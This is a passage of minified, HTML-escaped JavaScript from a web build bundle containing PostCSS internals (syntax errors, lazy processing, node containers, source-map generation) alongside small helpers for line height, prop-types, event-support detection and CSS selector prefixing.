Error{constructor(e,t,n,o,r,s){super(e),this.name=&quot;CssSyntaxError&quot;,this.reason=e,r&amp;&amp;(this.file=r),o&amp;&amp;(this.source=o),s&amp;&amp;(this.plugin=s),void 0!==t&amp;&amp;void 0!==n&amp;&amp;(&quot;number&quot;==typeof t?(this.line=t,this.column=n):(this.line=t.line,this.column=t.column,this.endLine=n.line,this.endColumn=n.column)),this.setMessage(),Error.captureStackTrace&amp;&amp;Error.captureStackTrace(this,i)}setMessage(){this.message=this.plugin?this.plugin+&quot;: &quot;:&quot;&quot;,this.message+=this.file?this.file:&quot;&lt;css input&gt;&quot;,void 0!==this.line&amp;&amp;(this.message+=&quot;:&quot;+this.line+&quot;:&quot;+this.column),this.message+=&quot;: &quot;+this.reason}showSourceCode(e){if(!this.source)return&quot;&quot;;let t=this.source;null==e&amp;&amp;(e=o.isColorSupported);let n=e=&gt;e,i=e=&gt;e,s=e=&gt;e;if(e){let{bold:e,gray:t,red:l}=o.createColors(!0);i=t=&gt;e(l(t)),n=e=&gt;t(e),r&amp;&amp;(s=e=&gt;r(e))}let l=t.split(/\r?\n/),a=Math.max(this.line-3,0),c=Math.min(this.line+2,l.length),u=String(c).length;return l.slice(a,c).map(((e,t)=&gt;{let o=a+1+t,r=&quot; &quot;+(&quot; &quot;+o).slice(-u)+&quot; | &quot;;if(o===this.line){if(e.length&gt;160){let t=20,o=Math.max(0,this.column-t),l=Math.max(this.column+t,this.endColumn+t),a=e.slice(o,l),c=n(r.replace(/\d/g,&quot; &quot;))+e.slice(0,Math.min(this.column-1,t-1)).replace(/[^\t]/g,&quot; &quot;);return i(&quot;&gt;&quot;)+n(r)+s(a)+&quot;\n &quot;+c+i(&quot;^&quot;)}let t=n(r.replace(/\d/g,&quot; &quot;))+e.slice(0,this.column-1).replace(/[^\t]/g,&quot; &quot;);return i(&quot;&gt;&quot;)+n(r)+s(e)+&quot;\n &quot;+t+i(&quot;^&quot;)}return&quot; &quot;+n(r)+s(e)})).join(&quot;\n&quot;)}toString(){let e=this.showSourceCode();return e&amp;&amp;(e=&quot;\n\n&quot;+e+&quot;\n&quot;),this.name+&quot;: &quot;+this.message+e}}e.exports=i,i.default=i},448:(e,t,n)=&gt;{&quot;use strict&quot;;let o=n(683),r=n(271),i=n(1670),s=n(4295),l=n(9055),a=n(9434),c=n(633),{isClean:u,my:d}=n(1381);n(3122);const p={atrule:&quot;AtRule&quot;,comment:&quot;Comment&quot;,decl:&quot;Declaration&quot;,document:&quot;Document&quot;,root:&quot;Root&quot;,rule:&quot;Rule&quot;},h={AtRule:!0,AtRuleExit:!0,Comment:!0,CommentExit:!0,Declaration:!0,DeclarationExit:!0,Document:!0,DocumentExit:!0,Once:!0,OnceExit:!0,postcssPlugin:!0,prepare:!0,Root:!0,RootExit:!0,Rule:!0,RuleExit:!0},g={Once:!0,postcssPlugin:!0,prepare:!0};function m(e){return&quot;object&quot;==typeof e&amp;&amp;&quot;function&quot;==typeof e.then}function f(e){let t=!1,n=p[e.type];return&quot;decl&quot;===e.type?t=e.prop.toLowerCase():&quot;atrule&quot;===e.type&amp;&amp;(t=e.name.toLowerCase()),t&amp;&amp;e.append?[n,n+&quot;-&quot;+t,0,n+&quot;Exit&quot;,n+&quot;Exit-&quot;+t]:t?[n,n+&quot;-&quot;+t,n+&quot;Exit&quot;,n+&quot;Exit-&quot;+t]:e.append?[n,0,n+&quot;Exit&quot;]:[n,n+&quot;Exit&quot;]}function b(e){let t;return t=&quot;document&quot;===e.type?[&quot;Document&quot;,0,&quot;DocumentExit&quot;]:&quot;root&quot;===e.type?[&quot;Root&quot;,0,&quot;RootExit&quot;]:f(e),{eventIndex:0,events:t,iterator:0,node:e,visitorIndex:0,visitors:[]}}function k(e){return e[u]=!1,e.nodes&amp;&amp;e.nodes.forEach((e=&gt;k(e))),e}let v={};class _{get content(){return this.stringify().content}get css(){return this.stringify().css}get map(){return this.stringify().map}get messages(){return this.sync().messages}get opts(){return this.result.opts}get processor(){return this.result.processor}get root(){return this.sync().root}get[Symbol.toStringTag](){return&quot;LazyResult&quot;}constructor(e,t,n){let r;if(this.stringified=!1,this.processed=!1,&quot;object&quot;!=typeof t||null===t||&quot;root&quot;!==t.type&amp;&amp;&quot;document&quot;!==t.type)if(t instanceof _||t instanceof l)r=k(t.root),t.map&amp;&amp;(void 0===n.map&amp;&amp;(n.map={}),n.map.inline||(n.map.inline=!1),n.map.prev=t.map);else{let e=s;n.syntax&amp;&amp;(e=n.syntax.parse),n.parser&amp;&amp;(e=n.parser),e.parse&amp;&amp;(e=e.parse);try{r=e(t,n)}catch(e){this.processed=!0,this.error=e}r&amp;&amp;!r[d]&amp;&amp;o.rebuild(r)}else r=k(t);this.result=new l(e,r,n),this.helpers={...v,postcss:v,result:this.result},this.plugins=this.processor.plugins.map((e=&gt;&quot;object&quot;==typeof e&amp;&amp;e.prepare?{...e,...e.prepare(this.result)}:e))}async(){return this.error?Promise.reject(this.error):this.processed?Promise.resolve(this.result):(this.processing||(this.processing=this.runAsync()),this.processing)}catch(e){return this.async().catch(e)}finally(e){return this.async().then(e,e)}getAsyncError(){throw new Error(&quot;Use process(css).then(cb) to work with async plugins&quot;)}handleError(e,t){let n=this.result.lastPlugin;try{t&amp;&amp;t.addToError(e),this.error=e,&quot;CssSyntaxError&quot;!==e.name||e.plugin?n.postcssVersion:(e.plugin=n.postcssPlugin,e.setMessage())}catch(e){console&amp;&amp;console.error&amp;&amp;console.error(e)}return e}prepareVisitors(){this.listeners={};let e=(e,t,n)=&gt;{this.listeners[t]||(this.listeners[t]=[]),this.listeners[t].push([e,n])};for(let t of this.plugins)if(&quot;object&quot;==typeof t)for(let n in t){if(!h[n]&amp;&amp;/^[A-Z]/.test(n))throw new Error(`Unknown event ${n} in ${t.postcssPlugin}. Try to update PostCSS (${this.processor.version} now).`);if(!g[n])if(&quot;object&quot;==typeof t[n])for(let o in t[n])e(t,&quot;*&quot;===o?n:n+&quot;-&quot;+o.toLowerCase(),t[n][o]);else&quot;function&quot;==typeof t[n]&amp;&amp;e(t,n,t[n])}this.hasListener=Object.keys(this.listeners).length&gt;0}async runAsync(){this.plugin=0;for(let e=0;e&lt;this.plugins.length;e++){let t=this.plugins[e],n=this.runOnRoot(t);if(m(n))try{await n}catch(e){throw this.handleError(e)}}if(this.prepareVisitors(),this.hasListener){let e=this.result.root;for(;!e[u];){e[u]=!0;let t=[b(e)];for(;t.length&gt;0;){let e=this.visitTick(t);if(m(e))try{await e}catch(e){let n=t[t.length-1].node;throw this.handleError(e,n)}}}if(this.listeners.OnceExit)for(let[t,n]of this.listeners.OnceExit){this.result.lastPlugin=t;try{if(&quot;document&quot;===e.type){let t=e.nodes.map((e=&gt;n(e,this.helpers)));await Promise.all(t)}else await n(e,this.helpers)}catch(e){throw this.handleError(e)}}}return this.processed=!0,this.stringify()}runOnRoot(e){this.result.lastPlugin=e;try{if(&quot;object&quot;==typeof e&amp;&amp;e.Once){if(&quot;document&quot;===this.result.root.type){let t=this.result.root.nodes.map((t=&gt;e.Once(t,this.helpers)));return m(t[0])?Promise.all(t):t}return e.Once(this.result.root,this.helpers)}if(&quot;function&quot;==typeof e)return e(this.result.root,this.result)}catch(e){throw this.handleError(e)}}stringify(){if(this.error)throw this.error;if(this.stringified)return this.result;this.stringified=!0,this.sync();let e=this.result.opts,t=c;e.syntax&amp;&amp;(t=e.syntax.stringify),e.stringifier&amp;&amp;(t=e.stringifier),t.stringify&amp;&amp;(t=t.stringify);let n=new i(t,this.result.root,this.result.opts).generate();return this.result.css=n[0],this.result.map=n[1],this.result}sync(){if(this.error)throw this.error;if(this.processed)return this.result;if(this.processed=!0,this.processing)throw this.getAsyncError();for(let e of this.plugins){if(m(this.runOnRoot(e)))throw this.getAsyncError()}if(this.prepareVisitors(),this.hasListener){let e=this.result.root;for(;!e[u];)e[u]=!0,this.walkSync(e);if(this.listeners.OnceExit)if(&quot;document&quot;===e.type)for(let t of e.nodes)this.visitSync(this.listeners.OnceExit,t);else this.visitSync(this.listeners.OnceExit,e)}return this.result}then(e,t){return this.async().then(e,t)}toString(){return this.css}visitSync(e,t){for(let[n,o]of e){let e;this.result.lastPlugin=n;try{e=o(t,this.helpers)}catch(e){throw this.handleError(e,t.proxyOf)}if(&quot;root&quot;!==t.type&amp;&amp;&quot;document&quot;!==t.type&amp;&amp;!t.parent)return!0;if(m(e))throw this.getAsyncError()}}visitTick(e){let t=e[e.length-1],{node:n,visitors:o}=t;if(&quot;root&quot;!==n.type&amp;&amp;&quot;document&quot;!==n.type&amp;&amp;!n.parent)return void e.pop();if(o.length&gt;0&amp;&amp;t.visitorIndex&lt;o.length){let[e,r]=o[t.visitorIndex];t.visitorIndex+=1,t.visitorIndex===o.length&amp;&amp;(t.visitors=[],t.visitorIndex=0),this.result.lastPlugin=e;try{return r(n.toProxy(),this.helpers)}catch(e){throw this.handleError(e,n)}}if(0!==t.iterator){let o,r=t.iterator;for(;o=n.nodes[n.indexes[r]];)if(n.indexes[r]+=1,!o[u])return o[u]=!0,void e.push(b(o));t.iterator=0,delete n.indexes[r]}let r=t.events;for(;t.eventIndex&lt;r.length;){let e=r[t.eventIndex];if(t.eventIndex+=1,0===e)return void(n.nodes&amp;&amp;n.nodes.length&amp;&amp;(n[u]=!0,t.iterator=n.getIterator()));if(this.listeners[e])return void(t.visitors=this.listeners[e])}e.pop()}walkSync(e){e[u]=!0;let t=f(e);for(let n of t)if(0===n)e.nodes&amp;&amp;e.each((e=&gt;{e[u]||this.walkSync(e)}));else{let t=this.listeners[n];if(t&amp;&amp;this.visitSync(t,e.toProxy()))return}}warnings(){return this.sync().warnings()}}_.registerPostcss=e=&gt;{v=e},e.exports=_,_.default=_,a.registerLazyResult(_),r.registerLazyResult(_)},461:(e,t,n)=&gt;{var o=n(6109);e.exports=function(e){var t=o(e,&quot;line-height&quot;),n=parseFloat(t,10);if(t===n+&quot;&quot;){var r=e.style.lineHeight;e.style.lineHeight=t+&quot;em&quot;,t=o(e,&quot;line-height&quot;),n=parseFloat(t,10),r?e.style.lineHeight=r:delete e.style.lineHeight}if(-1!==t.indexOf(&quot;pt&quot;)?(n*=4,n/=3):-1!==t.indexOf(&quot;mm&quot;)?(n*=96,n/=25.4):-1!==t.indexOf(&quot;cm&quot;)?(n*=96,n/=2.54):-1!==t.indexOf(&quot;in&quot;)?n*=96:-1!==t.indexOf(&quot;pc&quot;)&amp;&amp;(n*=16),n=Math.round(n),&quot;normal&quot;===t){var i=e.nodeName,s=document.createElement(i);s.innerHTML=&quot;&amp;nbsp;&quot;,&quot;TEXTAREA&quot;===i.toUpperCase()&amp;&amp;s.setAttribute(&quot;rows&quot;,&quot;1&quot;);var l=o(e,&quot;font-size&quot;);s.style.fontSize=l,s.style.padding=&quot;0px&quot;,s.style.border=&quot;0px&quot;;var a=document.body;a.appendChild(s),n=s.offsetHeight,a.removeChild(s)}return n}},628:(e,t,n)=&gt;{&quot;use strict&quot;;var o=n(4067);function r(){}function i(){}i.resetWarningCache=r,e.exports=function(){function e(e,t,n,r,i,s){if(s!==o){var l=new Error(&quot;Calling PropTypes validators directly is not supported by the `prop-types` package. Use PropTypes.checkPropTypes() to call them. Read more at http://fb.me/use-check-prop-types&quot;);throw l.name=&quot;Invariant Violation&quot;,l}}function t(){return e}e.isRequired=e;var n={array:e,bigint:e,bool:e,func:e,number:e,object:e,string:e,symbol:e,any:e,arrayOf:t,element:e,elementType:e,instanceOf:t,node:e,objectOf:t,oneOf:t,oneOfType:t,shape:t,exact:t,checkPropTypes:i,resetWarningCache:r};return n.PropTypes=n,n}},633:(e,t,n)=&gt;{&quot;use strict&quot;;let o=n(346);function r(e,t){new o(t).stringify(e)}e.exports=r,r.default=r},683:(e,t,n)=&gt;{&quot;use strict&quot;;let o,r,i,s,l=n(6589),a=n(1516),c=n(7490),{isClean:u,my:d}=n(1381);function p(e){return e.map((e=&gt;(e.nodes&amp;&amp;(e.nodes=p(e.nodes)),delete e.source,e)))}function h(e){if(e[u]=!1,e.proxyOf.nodes)for(let t of e.proxyOf.nodes)h(t)}class g extends c{get first(){if(this.proxyOf.nodes)return this.proxyOf.nodes[0]}get last(){if(this.proxyOf.nodes)return this.proxyOf.nodes[this.proxyOf.nodes.length-1]}append(...e){for(let t of e){let e=this.normalize(t,this.last);for(let t of e)this.proxyOf.nodes.push(t)}return this.markDirty(),this}cleanRaws(e){if(super.cleanRaws(e),this.nodes)for(let t of this.nodes)t.cleanRaws(e)}each(e){if(!this.proxyOf.nodes)return;let t,n,o=this.getIterator();for(;this.indexes[o]&lt;this.proxyOf.nodes.length&amp;&amp;(t=this.indexes[o],n=e(this.proxyOf.nodes[t],t),!1!==n);)this.indexes[o]+=1;return delete this.indexes[o],n}every(e){return this.nodes.every(e)}getIterator(){this.lastEach||(this.lastEach=0),this.indexes||(this.indexes={}),this.lastEach+=1;let e=this.lastEach;return this.indexes[e]=0,e}getProxyProcessor(){return{get:(e,t)=&gt;&quot;proxyOf&quot;===t?e:e[t]?&quot;each&quot;===t||&quot;string&quot;==typeof t&amp;&amp;t.startsWith(&quot;walk&quot;)?(...n)=&gt;e[t](...n.map((e=&gt;&quot;function&quot;==typeof e?(t,n)=&gt;e(t.toProxy(),n):e))):&quot;every&quot;===t||&quot;some&quot;===t?n=&gt;e[t](((e,...t)=&gt;n(e.toProxy(),...t))):&quot;root&quot;===t?()=&gt;e.root().toProxy():&quot;nodes&quot;===t?e.nodes.map((e=&gt;e.toProxy())):&quot;first&quot;===t||&quot;last&quot;===t?e[t].toProxy():e[t]:e[t],set:(e,t,n)=&gt;(e[t]===n||(e[t]=n,&quot;name&quot;!==t&amp;&amp;&quot;params&quot;!==t&amp;&amp;&quot;selector&quot;!==t||e.markDirty()),!0)}}index(e){return&quot;number&quot;==typeof e?e:(e.proxyOf&amp;&amp;(e=e.proxyOf),this.proxyOf.nodes.indexOf(e))}insertAfter(e,t){let n,o=this.index(e),r=this.normalize(t,this.proxyOf.nodes[o]).reverse();o=this.index(e);for(let e of r)this.proxyOf.nodes.splice(o+1,0,e);for(let e in this.indexes)n=this.indexes[e],o&lt;n&amp;&amp;(this.indexes[e]=n+r.length);return this.markDirty(),this}insertBefore(e,t){let n,o=this.index(e),r=0===o&amp;&amp;&quot;prepend&quot;,i=this.normalize(t,this.proxyOf.nodes[o],r).reverse();o=this.index(e);for(let e of i)this.proxyOf.nodes.splice(o,0,e);for(let e in this.indexes)n=this.indexes[e],o&lt;=n&amp;&amp;(this.indexes[e]=n+i.length);return this.markDirty(),this}normalize(e,t){if(&quot;string&quot;==typeof e)e=p(r(e).nodes);else if(void 0===e)e=[];else if(Array.isArray(e)){e=e.slice(0);for(let t of e)t.parent&amp;&amp;t.parent.removeChild(t,&quot;ignore&quot;)}else if(&quot;root&quot;===e.type&amp;&amp;&quot;document&quot;!==this.type){e=e.nodes.slice(0);for(let t of e)t.parent&amp;&amp;t.parent.removeChild(t,&quot;ignore&quot;)}else if(e.type)e=[e];else if(e.prop){if(void 0===e.value)throw new Error(&quot;Value field is missed in node creation&quot;);&quot;string&quot;!=typeof e.value&amp;&amp;(e.value=String(e.value)),e=[new a(e)]}else if(e.selector||e.selectors)e=[new s(e)];else if(e.name)e=[new o(e)];else{if(!e.text)throw new Error(&quot;Unknown node type in node creation&quot;);e=[new l(e)]}return e.map((e=&gt;(e[d]||g.rebuild(e),(e=e.proxyOf).parent&amp;&amp;e.parent.removeChild(e),e[u]&amp;&amp;h(e),e.raws||(e.raws={}),void 0===e.raws.before&amp;&amp;t&amp;&amp;void 0!==t.raws.before&amp;&amp;(e.raws.before=t.raws.before.replace(/\S/g,&quot;&quot;)),e.parent=this.proxyOf,e)))}prepend(...e){e=e.reverse();for(let t of e){let e=this.normalize(t,this.first,&quot;prepend&quot;).reverse();for(let t of e)this.proxyOf.nodes.unshift(t);for(let t in this.indexes)this.indexes[t]=this.indexes[t]+e.length}return this.markDirty(),this}push(e){return e.parent=this,this.proxyOf.nodes.push(e),this}removeAll(){for(let e of this.proxyOf.nodes)e.parent=void 0;return this.proxyOf.nodes=[],this.markDirty(),this}removeChild(e){let t;e=this.index(e),this.proxyOf.nodes[e].parent=void 0,this.proxyOf.nodes.splice(e,1);for(let n in this.indexes)t=this.indexes[n],t&gt;=e&amp;&amp;(this.indexes[n]=t-1);return this.markDirty(),this}replaceValues(e,t,n){return n||(n=t,t={}),this.walkDecls((o=&gt;{t.props&amp;&amp;!t.props.includes(o.prop)||t.fast&amp;&amp;!o.value.includes(t.fast)||(o.value=o.value.replace(e,n))})),this.markDirty(),this}some(e){return this.nodes.some(e)}walk(e){return this.each(((t,n)=&gt;{let o;try{o=e(t,n)}catch(e){throw t.addToError(e)}return!1!==o&amp;&amp;t.walk&amp;&amp;(o=t.walk(e)),o}))}walkAtRules(e,t){return t?e instanceof RegExp?this.walk(((n,o)=&gt;{if(&quot;atrule&quot;===n.type&amp;&amp;e.test(n.name))return t(n,o)})):this.walk(((n,o)=&gt;{if(&quot;atrule&quot;===n.type&amp;&amp;n.name===e)return t(n,o)})):(t=e,this.walk(((e,n)=&gt;{if(&quot;atrule&quot;===e.type)return t(e,n)})))}walkComments(e){return this.walk(((t,n)=&gt;{if(&quot;comment&quot;===t.type)return e(t,n)}))}walkDecls(e,t){return t?e instanceof RegExp?this.walk(((n,o)=&gt;{if(&quot;decl&quot;===n.type&amp;&amp;e.test(n.prop))return t(n,o)})):this.walk(((n,o)=&gt;{if(&quot;decl&quot;===n.type&amp;&amp;n.prop===e)return t(n,o)})):(t=e,this.walk(((e,n)=&gt;{if(&quot;decl&quot;===e.type)return t(e,n)})))}walkRules(e,t){return t?e instanceof RegExp?this.walk(((n,o)=&gt;{if(&quot;rule&quot;===n.type&amp;&amp;e.test(n.selector))return t(n,o)})):this.walk(((n,o)=&gt;{if(&quot;rule&quot;===n.type&amp;&amp;n.selector===e)return t(n,o)})):(t=e,this.walk(((e,n)=&gt;{if(&quot;rule&quot;===e.type)return t(e,n)})))}}g.registerParse=e=&gt;{r=e},g.registerRule=e=&gt;{s=e},g.registerAtRule=e=&gt;{o=e},g.registerRoot=e=&gt;{i=e},e.exports=g,g.default=g,g.rebuild=e=&gt;{&quot;atrule&quot;===e.type?Object.setPrototypeOf(e,o.prototype):&quot;rule&quot;===e.type?Object.setPrototypeOf(e,s.prototype):&quot;decl&quot;===e.type?Object.setPrototypeOf(e,a.prototype):&quot;comment&quot;===e.type?Object.setPrototypeOf(e,l.prototype):&quot;root&quot;===e.type&amp;&amp;Object.setPrototypeOf(e,i.prototype),e[d]=!0,e.nodes&amp;&amp;e.nodes.forEach((e=&gt;{g.rebuild(e)}))}},1087:(e,t,n)=&gt;{&quot;use strict&quot;;var o,r=n(8202);r.canUseDOM&amp;&amp;(o=document.implementation&amp;&amp;document.implementation.hasFeature&amp;&amp;!0!==document.implementation.hasFeature(&quot;&quot;,&quot;&quot;))
/**
 * Checks if an event is supported in the current execution environment.
 *
 * NOTE: This will not work correctly for non-generic events such as `change`,
 * `reset`, `load`, `error`, and `select`.
 *
 * Borrows from Modernizr.
 *
 * @param {string} eventNameSuffix Event name, e.g. &quot;click&quot;.
 * @param {?boolean} capture Check if the capture phase is supported.
 * @return {boolean} True if the event is supported.
 * @internal
 * @license Modernizr 3.0.0pre (Custom Build) | MIT
 */,e.exports=function(e,t){if(!r.canUseDOM||t&amp;&amp;!(&quot;addEventListener&quot;in document))return!1;var n=&quot;on&quot;+e,i=n in document;if(!i){var s=document.createElement(&quot;div&quot;);s.setAttribute(n,&quot;return;&quot;),i=&quot;function&quot;==typeof s[n]}return!i&amp;&amp;o&amp;&amp;&quot;wheel&quot;===e&amp;&amp;(i=document.implementation.hasFeature(&quot;Events.wheel&quot;,&quot;3.0&quot;)),i}},1326:(e,t,n)=&gt;{&quot;use strict&quot;;let o=n(683);class r extends o{constructor(e){super(e),this.type=&quot;atrule&quot;}append(...e){return this.proxyOf.nodes||(this.nodes=[]),super.append(...e)}prepend(...e){return this.proxyOf.nodes||(this.nodes=[]),super.prepend(...e)}}e.exports=r,r.default=r,o.registerAtRule(r)},1381:e=&gt;{&quot;use strict&quot;;e.exports.isClean=Symbol(&quot;isClean&quot;),e.exports.my=Symbol(&quot;my&quot;)},1443:e=&gt;{function t(e,t){return t.some((t=&gt;t instanceof RegExp?t.test(e):e.includes(t)))}e.exports=function(e){const n=e.prefix,o=/\s+$/.test(n)?n:`${n} `,r=e.ignoreFiles?[].concat(e.ignoreFiles):[],i=e.includeFiles?[].concat(e.includeFiles):[];return function(s){r.length&amp;&amp;s.source.input.file&amp;&amp;t(s.source.input.file,r)||i.length&amp;&amp;s.source.input.file&amp;&amp;!t(s.source.input.file,i)||s.walkRules((t=&gt;{t.parent&amp;&amp;[&quot;keyframes&quot;,&quot;-webkit-keyframes&quot;,&quot;-moz-keyframes&quot;,&quot;-o-keyframes&quot;,&quot;-ms-keyframes&quot;].includes(t.parent.name)||(t.selectors=t.selectors.map((r=&gt;e.exclude&amp;&amp;function(e,t){return t.some((t=&gt;t instanceof RegExp?t.test(e):e===t))}(r,e.exclude)?r:e.transform?e.transform(n,r,o+r,s.source.input.file,t):o+r)))}))}}},1516:(e,t,n)=&gt;{&quot;use strict&quot;;let o=n(7490);class r extends o{get variable(){return this.prop.startsWith(&quot;--&quot;)||&quot;$&quot;===this.prop[0]}constructor(e){e&amp;&amp;void 0!==e.value&amp;&amp;&quot;string&quot;!=typeof e.value&amp;&amp;(e={...e,value:String(e.value)}),super(e),this.type=&quot;decl&quot;}}e.exports=r,r.default=r},1524:e=&gt;{var t=&quot;-&quot;.charCodeAt(0),n=&quot;+&quot;.charCodeAt(0),o=&quot;.&quot;.charCodeAt(0),r=&quot;e&quot;.charCodeAt(0),i=&quot;E&quot;.charCodeAt(0);e.exports=function(e){var s,l,a,c=0,u=e.length;if(0===u||!function(e){var r,i=e.charCodeAt(0);if(i===n||i===t){if((r=e.charCodeAt(1))&gt;=48&amp;&amp;r&lt;=57)return!0;var s=e.charCodeAt(2);return r===o&amp;&amp;s&gt;=48&amp;&amp;s&lt;=57}return i===o?(r=e.charCodeAt(1))&gt;=48&amp;&amp;r&lt;=57:i&gt;=48&amp;&amp;i&lt;=57}(e))return!1;for((s=e.charCodeAt(c))!==n&amp;&amp;s!==t||c++;c&lt;u&amp;&amp;!((s=e.charCodeAt(c))&lt;48||s&gt;57);)c+=1;if(s=e.charCodeAt(c),l=e.charCodeAt(c+1),s===o&amp;&amp;l&gt;=48&amp;&amp;l&lt;=57)for(c+=2;c&lt;u&amp;&amp;!((s=e.charCodeAt(c))&lt;48||s&gt;57);)c+=1;if(s=e.charCodeAt(c),l=e.charCodeAt(c+1),a=e.charCodeAt(c+2),(s===r||s===i)&amp;&amp;(l&gt;=48&amp;&amp;l&lt;=57||(l===n||l===t)&amp;&amp;a&gt;=48&amp;&amp;a&lt;=57))for(c+=l===n||l===t?3:2;c&lt;u&amp;&amp;!((s=e.charCodeAt(c))&lt;48||s&gt;57);)c+=1;return{number:e.slice(0,c),unit:e.slice(c)}}},1544:(e,t,n)=&gt;{var o=n(8491),r=n(3815),i=n(4725);function s(e){return this instanceof s?(this.nodes=o(e),this):new s(e)}s.prototype.toString=function(){return Array.isArray(this.nodes)?i(this.nodes):&quot;&quot;},s.prototype.walk=function(e,t){return r(this.nodes,e,t),this},s.unit=n(1524),s.walk=r,s.stringify=i,e.exports=s},1609:e=&gt;{&quot;use strict&quot;;e.exports=window.React},1670:(e,t,n)=&gt;{&quot;use strict&quot;;let{dirname:o,relative:r,resolve:i,sep:s}=n(197),{SourceMapConsumer:l,SourceMapGenerator:a}=n(1866),{pathToFileURL:c}=n(2739),u=n(5380),d=Boolean(l&amp;&amp;a),p=Boolean(o&amp;&amp;i&amp;&amp;r&amp;&amp;s);e.exports=class{constructor(e,t,n,o){this.stringify=e,this.mapOpts=n.map||{},this.root=t,this.opts=n,this.css=o,this.originalCSS=o,this.usesFileUrls=!this.mapOpts.from&amp;&amp;this.mapOpts.absolute,this.memoizedFileURLs=new Map,this.memoizedPaths=new Map,this.memoizedURLs=new Map}addAnnotation(){let e;e=this.isInline()?&quot;data:application/json;base64,&quot;+this.toBase64(this.map.toString()):&quot;string&quot;==typeof this.mapOpts.annotation?this.mapOpts.annotation:&quot;function&quot;==typeof this.mapOpts.annotation?this.mapOpts.annotation(this.opts.to,this.root):this.outputFile()+&quot;.map&quot;;let t=&quot;\n&quot;;this.css.includes(&quot;\r\n&quot;)&amp;&amp;(t=&quot;\r\n&quot;),this.css+=t+&quot;/*# sourceMappingURL=&quot;+e+&quot; */&quot;}applyPrevMaps(){for(let e of this.previous()){let t,n=this.toUrl(this.path(e.file)),r=e.root||o(e.file);!1===this.mapOpts.sourcesContent?(t=new l(e.text),t.sourcesContent&amp;&amp;(t.sourcesContent=null)):t=e.consumer(),this.map.applySourceMap(t,n,this.toUrl(this.path(r)))}}clearAnnotation(){if(!1!==this.mapOpts.annotation)if(this.root){let e;for(let t=this.root.nodes.length-1;t&gt;=0;t--)e=this.root.nodes[t],&quot;comment&quot;===e.type&amp;&amp;e.text.startsWith(&quot;# sourceMappingURL=&quot;)&amp;&amp;this.root.removeChild(t)}else this.css&amp;&amp;(this.css=this.css.replace(/\n*\/\*#[\S\s]*?\*\/$/gm,&quot;&quot;))}generate(){if(this.clearAnnotation(),p&amp;&amp;d&amp;&amp;this.isMap())return this.generateMap();{let e=&quot;&quot;;return this.stringify(this.root,(t=&gt;{e+=t})),[e]}}generateMap(){if(this.root)this.generateString();else if(1===this.previous().length){let e=this.previous()[0].consumer();e.file=this.outputFile(),this.map=a.fromSourceMap(e,{ignoreInvalidMapping:!0})}else this.map=new a({file:this.outputFile(),ignoreInvalidMapping:!0}),this.map.addMapping({generated:{column:0,line:1},original:{column:0,line:1},source:this.opts.from?this.toUrl(this.path(this.opts.from)):&quot;&lt;no source&gt;&quot;});return this.isSourcesContent()&amp;&amp;this.setSourcesContent(),this.root&amp;&amp;this.previous().length&gt;0&amp;&amp;this.applyPrevMaps(),this.isAnnotation()&amp;&amp;this.addAnnotation(),this.isInline()?[this.css]:[this.css,this.map]}generateString(){this.css=&quot;&quot;,this.map=new a({file:this.outputFile(),ignoreInvalidMapping:!0});let e,t,n=1,o=1,r=&quot;&lt;no source&gt;&quot;,i={generated:{column:0,line:0},original:{column:0,line:0},source:&quot;&quot;};this.stringify(this.root,((s,l,a)=&gt;{if(this.css+=s,l&amp;&amp;&quot;end&quot;!==a&amp;&amp;(i.generated.line=n,i.generated.column=o-1,l.source&amp;&amp;l.source.start?(i.source=this.sourcePath(l),i.original.line=l.source.start.line,i.original.column=l.source.start.column-1,this.map.addMapping(i)):(i.source=r,i.original.line=1,i.original.column=0,this.map.addMapping(i))),t=s.match(/\n/g),t?(n+=t.length,e=s.lastIndexOf(&quot;\n&quot;),o=s.length-e):o+=s.length,l&amp;&amp;&quot;start&quot;!==a){let e=l.parent||{raws:{}};(&quot;decl&quot;===l.type||&quot;atrule&quot;===l.type&amp;&amp;!l.nodes)&amp;&amp;l===e.last&amp;&amp;!e.raws.semicolon||(l.source&amp;&amp;l.source.end?(i.source=this.sourcePath(l),i.original.line=l.source.end.line,i.original.column=l.source.end.column-1,i.generated.line=n,i.generated.column=o-2,this.map.addMapping(i)):(i.source=r,i.original.line=1,i.original.column=0,i.generated.line=n,i.generated.column=o-1,this.map.addMapping(i)))}}))}isAnnotation(){return!!this.isInline()||(void 0!==this.mapOpts.annotation?this.mapOpts.annotation:!this.previous().length||this.previous().some((e=&gt;e.annotation)))}isInline(){if(void 0!==this.mapOpts.inline)return this.mapOpts.inline;let e=this.mapOpts.annotation;return(void 0===e||!0===e)&amp;&amp;(!this.previous().length||this.previous().some((e=&gt;e.inline)))}isMap(){return void 0!==this.opts.map?!!this.opts.map:this.previous().length&gt;0}isSourcesContent(){return void 0!==this.mapOpts.sourcesContent?this.mapOpts.sourcesContent:!this.previous().length||this.previous().some((e=&gt;e.withContent()))}outputFile(){return this.opts.to?this.path(this.opts.to):this.opts.from?this.path(this.opts.from):&quot;to.css&quot;}path(e){if(this.mapOpts.absolute)return e;if(60===e.charCodeAt(0))return e;if(/^\w+:\/\//.test(e))return e;let t=this.memoizedPaths.get(e);if(t)return t;let n=this.opts.to?o(this.opts.to):&quot;.&quot;;&quot;string&quot;==typeof this.mapOpts.annotation&amp;&amp;(n=o(i(n,this.mapOpts.annotation)));let s=r(n,e);return this.memoizedPaths.set(e,s),s}previous(){if(!this.previousMaps)if(this.previousMaps=[],this.root)this.root.walk((e=&gt;{if(e.source&amp;&amp;e.source.input.map){let t=e.source.input.map;this.previousMaps.includes(t)||this.previousMaps.push(t)}}));else{let e=new u(this.originalCSS,this.opts);e.map&amp;&amp;this.previousMaps.push(e.map)}return this.previousMaps}setSourcesContent(){let e={};if(this.root)this.root.walk((t=&gt;{if(t.source){let n=t.source.input.from;if(n&amp;&amp;!e[n]){e[n]=!0;let o=this.usesFileUrls?this.toFileUrl(n):this.toUrl(this.path(n));this.map.setSourceContent(o,t.source.input.css)}}}));else if(this.css){let e=this.opts.from?this.toUrl(this.path(this.opts.from)):&quot;&lt;no source&gt;&quot;;this.map.setSourceContent(e,this.css)}}sourcePath(e){return this.mapOpts.from?this.toUrl(this.mapOpts.from):this.usesFileUrls?this.toFileUrl(e.source.input.from):this.toUrl(this.path(e.source.input.from))}toBase64(e){return Buffer?Buffer.from(e).toString(&quot;base64&quot;):window.btoa(unescape(encodeURIComponent(e)))}toFileUrl(e){let t=this.memoizedFileURLs.get(e);if(t)return t;if(c){let t=c(e).toString();return this.memoizedFileURLs.set(e,t),t}throw new Error(&quot;`map.absolute` option is not available in this PostCSS 